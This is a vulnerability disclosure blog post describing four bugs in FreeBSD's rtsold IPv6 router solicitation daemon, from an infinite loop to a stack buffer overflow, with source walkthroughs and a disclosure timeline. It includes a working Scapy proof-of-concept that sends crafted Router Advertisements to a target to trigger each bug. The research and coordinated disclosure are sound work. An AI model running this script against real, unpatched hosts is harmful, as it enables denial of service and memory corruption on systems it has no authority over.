This blog post provides details about four vulnerabilities we found in the IPv6 stack of FreeBSD, more specifically in rtsold(8), the router solicitation daemon. The bugs affected all supported versions of FreeBSD, and the most severe of them could allow an attacker attached to the same physical link to gain remote code execution as root on vulnerable systems. The vulnerabilities were discovered and reported to FreeBSD Security Team in November 2020. FreeBSD issued fixes for these bugs on December 1st, 2020 along with security advisory FreeBSD-SA-20:32.rtsold.

Introduction

On October 13th, 2020, Microsoft published a security patch addressing a remote code execution vulnerability, known as CVE-2020-16898 or "Bad Neighbor", affecting the IPv6 stack of Windows. The issue was caused by improper handling of Router Advertisement messages (which are part of the Neighbor Discovery protocol) containing a malformed RDNSS option.

Three days after, we published a blog post with our analysis and proof-of-concept for that vulnerability.

After that, it was natural that we would check for security issues in the handling of Router Advertisement messages on other IPv6 implementations. This article describes the vulnerabilities we found on rtsold, the daemon that deals with this kind of messages on FreeBSD.

Handling of Router Advertisement messages on FreeBSD

Router Advertisement (RA for short) is one of the message types of the Neighbor Discovery (ND) protocol, which is part of the IPv6 protocol stack. Router Advertisement messages are sent by routers to advertise their presence, together with various link and Internet parameters.

RA packets can contain a variable number of options, such as DNS Search List option (DNSSL) or Recursive DNS Server option (RDNSS).

On FreeBSD, handling of Router Advertisement messages is performed by a user-mode daemon, namely rtsold(8). This daemon sends Router Solicitation messages and parses the received Router Advertisement answers. Interestingly, rtsold runs automatically when a network interface is up after being (re)attached to a link, including at system start up.

Vulnerability #1 - Infinite loop in function rtsol_input()

The rtsol_input() function in usr.sbin/rtsold/rtsol.c is in charge of parsing the received Router Advertisement messages. A loop is used to process the options included in the RA message:

237 void
238 rtsol_input(int s)
239 {
[...]
393 #define RA_OPT_NEXT_HDR(x)      (struct nd_opt_hdr *)((char *)x + \
394                                 (((struct nd_opt_hdr *)x)->nd_opt_len * 8))
395         /* Process RA options. */
396         warnmsg(LOG_DEBUG, __func__, "Processing RA");
397         raoptp = (char *)icp + sizeof(struct nd_router_advert);
398         while (raoptp < (char *)icp + msglen) {
399                 ndo = (struct nd_opt_hdr *)raoptp;
400                 warnmsg(LOG_DEBUG, __func__, "ndo = %p", raoptp);
401                 warnmsg(LOG_DEBUG, __func__, "ndo->nd_opt_type = %d",
402                     ndo->nd_opt_type);
403                 warnmsg(LOG_DEBUG, __func__, "ndo->nd_opt_len = %d",
404                     ndo->nd_opt_len);
405
406                 switch (ndo->nd_opt_type) {
407                 case ND_OPT_RDNSS:
[...]
483                 case ND_OPT_DNSSL:
[...]
542                 default:
543                         /* nothing to do for other options */
544                         break;
545                 }
546                 raoptp = (char *)RA_OPT_NEXT_HDR(raoptp);

The RA_OPT_NEXT_HDR macro at line 393 is used to advance a pointer to the next option in the RA message; it adds the length field of the current option multiplied by 8 to the given pointer. The loop at line 398 iterates over the packet, as long as the raoptp pointer hasn't reached the end of the packet. At the end of the loop at line 546, the raoptp pointer is updated by using the RA_OPT_NEXT_HDR macro. However, the code doesn't handle the case where the length field of an option is 0. In that case, the raoptp pointer will never get advanced at line 546, resulting in an infinite loop.

Vulnerability #2 - Out-of-bounds read when parsing RDNSS options in rtsol_input()

The rtsol_input() function in usr.sbin/rtsold/rtsol.c loops through the options included in a Router Advertisement message. One of the supported option types is called Recursive DNS Server, or RDNSS for short. The RDNSS option is composed of 4 fixed fields (Type, Length, Reserved and Lifetime), followed by a variable number of IPv6 addresses of recursive DNS servers, as shown in the diagram below:

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     Type      |     Length    |           Reserved            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           Lifetime                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                                               |
:            Addresses of IPv6 Recursive DNS Servers            :
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

When dealing with a RDNSS option, the following code is hit:

237 void
238 rtsol_input(int s)
239 {
[...]
406     switch (ndo->nd_opt_type) {
407     case ND_OPT_RDNSS:
408         rdnss = (struct nd_opt_rdnss *)raoptp;
409
410         /* Optlen sanity check (Section 5.3.1 in RFC 6106) */
411         if (rdnss->nd_opt_rdnss_len < 3) {
412             warnmsg(LOG_INFO, __func__,
413                 "too short RDNSS option"
414                 "in RA from %s was ignored.",
415                 inet_ntop(AF_INET6, &from.sin6_addr,
416                 ntopbuf, sizeof(ntopbuf)));
417             break;
418         }
419
420         addr = (struct in6_addr *)(void *)(raoptp + sizeof(*rdnss));
421         while ((char *)addr < (char *)RA_OPT_NEXT_HDR(raoptp)) {
422             if (inet_ntop(AF_INET6, addr, ntopbuf,
423                 sizeof(ntopbuf)) == NULL) {
424                     warnmsg(LOG_INFO, __func__,
425                         "an invalid address in RDNSS option"
426                         " in RA from %s was ignored.",
427                         inet_ntop(AF_INET6, &from.sin6_addr,
428                         ntopbuf, sizeof(ntopbuf)));
429                     addr++;
430                     continue;
431             }

At line 420, the addr pointer is set to point past the 4 fixed fields of the RNDSS option, that is, it points to the beginning of the variable number of IPv6 addresses included in the RDNSS option. Then, at line 421, it loops over the IPv6 addresses in the RDNSS option, reading a 16-byte IPv6 address from the option data at each iteration, as long as the addr pointer doesn't reach the end of the option, which is calculated by using the RA_OPT_NEXT_HDR macro.

Notice that the loop condition at line 421 blindly trusts the length field of the RDNSS option (used by the RA_OPT_NEXT_HDR macro), without checking if raoptp + length * 8 is within the bounds of the packet. As a result, by sending a Router Advertisement message containing a RDNSS option with a large length field, it is possible to make the rtsol_input() function read data beyond the end of the packet.

Vulnerability #3 - Out-of-bounds write when parsing DNSSL options in rtsol_input()

The rtsol_input() function in usr.sbin/rtsold/rtsol.c loops through the options included in a Router Advertisement message. One of the supported option types is called DNS Search List, or DNSSL for short, which has the following format:

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     Type      |     Length    |           Reserved            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           Lifetime                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                                               |
:                Domain Names of DNS Search List                :
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

When dealing with a DNSSL option, the following code is hit:

237 void
238 rtsol_input(int s)
239 {
[...]
406     switch (ndo->nd_opt_type) {
[...]
483     case ND_OPT_DNSSL:
484         dnssl = (struct nd_opt_dnssl *)raoptp;
485
486         /* Optlen sanity check (Section 5.3.1 in RFC 6106) */
487         if (dnssl->nd_opt_dnssl_len < 2) {
488             warnmsg(LOG_INFO, __func__,
489                 "too short DNSSL option"
490                 "in RA from %s was ignored.",
491                 inet_ntop(AF_INET6, &from.sin6_addr,
492                 ntopbuf, sizeof(ntopbuf)));
493             break;
494         }
495
496         /*
497         * Ensure NUL-termination in DNSSL in case of
498         * malformed field.
499         */
500         p = (char *)RA_OPT_NEXT_HDR(raoptp);
501         *(p - 1) = '\0';

At lines 500 and 501, the code attempts to ensure that the domain name included in the DNSSL option ends with a NULL byte. In order to calculate the address of the last byte of this option, it obtains the address of the next option by using the RA_OPT_NEXT_HDR macro, then subtracts 1 from it. Finally, it writes a 0 to that position.

Notice that when doing this calculation, the length field of the DNSSL option is blindly trusted (it is used by the RA_OPT_NEXT_HDR macro), without checking if raotp + length * 8 is within the bounds of the packet. As a result, by sending a Router Advertisement message containing a DNSSL option with a large length field, it is possible to make the rtsol_input() function write a NULL byte beyond the end of the packet.

Vulnerability #4 - Buffer overflow when decoding a domain name in dname_labeldec()

Domain names included in a DNSSL option are encoded as a sequence of labels, with each label being represented as a one-byte length field followed that number of bytes, as specified in section 3.1 of RFC 1035. A domain name is terminated by a length byte of zero.

When processing DNSSL options, the rtsol_input() function calls dname_labeldec() in order to decode a domain name.

914 /* Decode domain name label encoding in RFC 1035 Section 3.1 */
915 static size_t
916 dname_labeldec(char *dst, size_t dlen, const char *src)
917 {
918         size_t len;
919         const char *src_origin;
920         const char *src_last;
921         const char *dst_origin;
922
923         src_origin = src;
924         src_last = strchr(src, '\0');
925         dst_origin = dst;
926         memset(dst, '\0', dlen);
927         while (src && (len = (uint8_t)(*src++) & 0x3f) &&
928             (src + len) <= src_last &&
929             (dst - dst_origin < (ssize_t)dlen)) {
930                 if (dst != dst_origin)
931                         *dst++ = '.';
932                 warnmsg(LOG_DEBUG, __func__, "labellen = %zd", len);
933                 memcpy(dst, src, len);
934                 src += len;
935                 dst += len;
936         }
937         *dst = '\0';
938
939         /*
940          * XXX validate that domain name only contains valid characters
941          * for two reasons: 1) correctness, 2) we do not want to pass
942          * possible malicious, unescaped characters like `` to a script
943          * or program that could be exploited that way.
944          */
945
946         return (src - src_origin);
947 }

The loop in dname_labeldec() at line 927 iterates over the labels composing the domain name, copying them to the dst destination buffer. Some sanity checks are performed in this loop: at line 928 it verifies that the length of a label is within the bounds of the domain name, and at line 929 it checks if the amount of data written so far to the destination buffer is less than the size of the destination buffer.

However, it doesn't check if the remaining space in the destination buffer is large enough to hold the len bytes of a label. As a result, by sending a Router Advertisement message containing a DNSSL option with a specially crafted domain name, it is possible to trigger a stack-based buffer overflow in the dname_labeldec() function.

The destination buffer is a variable that is local to function rtsol_input(), with a size of NI_MAXHOST (1025) bytes:

237 void
238 rtsol_input(int s)
239 {
[...]
258     char dname[NI_MAXHOST];
[...]
504     while (1 < (len = dname_labeldec(dname, sizeof(dname),
505         p))) {
[...]

As specified in section 3.1 of RFC 1035, each label in a domain name can have a maximum length of 63 bytes. When decoding a domain name composed of 16 labels of 63 bytes, it will take 16 * 63 + 15 == 1023 bytes in the destination buffer, which is just 2 bytes less than the destination size. If such a domain name happened to have one more label of 63 bytes, it would pass the incomplete check in dname_labeldec() at line 929 (since 1023 < 1025, i.e. the amount of data written so far is less than the size of the destination buffer), and it would just copy the 63 bytes of this label to the destination buffer, even if the remaining space in it is just 2 bytes, effectively triggering a buffer overflow in the stack.

Proof of Concept

The following Python code, based on Scapy, provides a proof-of-concept for the 4 bugs described above. It was tested against FreeBSD 12.1-RELEASE-p10. It expects two arguments: the IPv6 address of the target FreeBSD system, followed by an integer in the range [1, 4] indicating which one of the 4 vulnerabilities will be triggered on the target.

This PoC uses the sniff() function in Scapy in order to wait for Router Solicitation (RS) packets; once a RS packet is captured, if the IPv6 source address of such RS matches the target address, then a crafted Router Advertisement message is sent to that address in order to trigger the specified vulnerability.

import os
import sys
import string
from scapy.layers.inet6 import IPv6, ICMPv6ND_RA, ICMPv6ND_RS, ICMPv6NDOptRDNSS, ICMPv6NDOptDNSSL
from scapy.all import send, sniff



# BUG 01
def infinite_loop(target_addr):
    ip = IPv6(dst = target_addr, hlim = 255)
    ra = ICMPv6ND_RA()
    rdnss = ICMPv6NDOptRDNSS(lifetime=300, dns=["4141:4141:4141:4141:4141:4141:4141:4141"])
    # This causes the bug
    rdnss.len = 0

    pkt = ip/ra/rdnss
    send(pkt)


# BUG 02
def rdnss_oob_read(target_addr):
    ip = IPv6(dst = target_addr, hlim = 255)
    ra = ICMPv6ND_RA()
    rdnss = ICMPv6NDOptRDNSS(lifetime=300, dns=["4141:4141:4141:4141:4141:4141:4141:4141"])
    # This causes the bug
    rdnss.len = 0xff

    pkt = ip/ra/rdnss
    send(pkt)


# BUG 03
def dnssl_oob_write(target_addr):
    ip = IPv6(dst = target_addr, hlim = 255)
    ra = ICMPv6ND_RA()

    dnssl = ICMPv6NDOptDNSSL(lifetime=300, searchlist=["bug03.example"])
    # This causes the bug
    dnssl.len = 0xff

    pkt = ip/ra/dnssl
    send(pkt)


def build_domain_name():
    CHUNKS = 1024 // 0x3f
    subdomains = []
    for i in range(CHUNKS):
        subdomains.append(string.ascii_lowercase[i] * 0x3f)
    domain = '.'.join(subdomains)
    print('len(domain) at the penultimate sub-domain: {}'.format(len(domain)))
    # this last part overflows the buffer
    domain += '.' + 'x' * 0x3f
    print('final len(domain) to trigger the overflow: {}'.format(len(domain)))
    return domain


# BUG 04
def dnssl_buffer_overflow(target_addr):
    ip = IPv6(dst = target_addr, hlim = 255)
    ra = ICMPv6ND_RA()
    dnssl = ICMPv6NDOptDNSSL(lifetime=300, searchlist=[build_domain_name()])

    pkt = ip/ra/dnssl

    send(pkt)


def main(target_addr, bug_id):

    bugs = [infinite_loop, rdnss_oob_read, dnssl_oob_write, dnssl_buffer_overflow]

    while True:
        print('Waiting for ICMPv6ND_RS packets...')
        rs = sniff(count=1, lfilter=lambda pkt: pkt.haslayer(ICMPv6ND_RS))[0]
        print('Received Router Solicitation message from {} to {}'.format(rs[IPv6].src, rs[IPv6].dst))

        if rs[IPv6].src == target_addr:
            print('Triggering bug #{}'.format(bug_id))
            bugs[bug_id - 1](target_addr)


def show_help_and_exit():
        print('Usage: {} <target_addr> <bug_id>'.format(os.path.split(sys.argv[0])[1]))
        print('(where bug_id is a number in the range [1-4])')
        sys.exit(1)


if __name__ == '__main__':
    if len(sys.argv) > 2:
        target_addr = sys.argv[1]
        bug_id = sys.argv[2]
    else:
        show_help_and_exit()

    try:
        bug_id = int(bug_id)
    except ValueError:
        show_help_and_exit()

    if bug_id not in range(1,5):
        show_help_and_exit()

    main(target_addr, bug_id)

Disclosure Timeline

  • November 10, 2020: Vulnerabilities reported to the FreeBSD Security Team.

  • November 10, 2020: FreeBSD Security Team acknowledges receiving the report, and asks if there are other affected operating systems that need to be involved in coordination. Quarkslab responds that the reported issues only affect FreeBSD.

  • November 23, 2020: Quarkslab asks for an update on the status of the reported vulnerabilities.

  • November 24, 2020: FreeBSD Security Team confirms that they were able to reproduce the bugs, and that they plan to release fixes for them the next week. Quarkslab informs its plans to publish a blog post afterwards.

  • December 1, 2020: FreeBSD Security Team informs that they will publish a security advisory and fixes shortly, and that CVE-2020-25577 has been allocated for it.

  • December 1, 2020: Quarkslab asks if FreeBSD will use the same CVE ID for all of the 4 bugs, or if only one of the bugs is being fixed (and if so, which one).

  • December 1, 2020: FreeBSD Security Team answers that CVE-2020-25577 has been allocated for the entire patchset for now, and that they may later evaluate if additional CVEs need to be allocated.

  • December 1, 2020: FreeBSD publishes security advisory FreeBSD-SA-20:32.rtsold.

  • January 28, 2021: Quarkslab publishes its blog post.

Conclusions

The rtsold(8) user-mode daemon in FreeBSD was prone to 4 vulnerabilities, including a stack-based buffer overflow, when parsing malicious Router Advertisement messages. These vulnerabilities affected all supported versions of FreeBSD, and the most severe of them could allow an attacker attached to the same physical link to gain remote code execution as root.

FreeBSD promptly issued fixes for these vulnerabilities. Interestingly, as stated in the FreeBSD security advisory, in FreeBSD 12.2 rtsold(8) runs in a Capsicum sandbox, limiting the impact of a compromised rtsold process.


If you would like to learn more about our security audits and explore how we can help you, get in touch with us!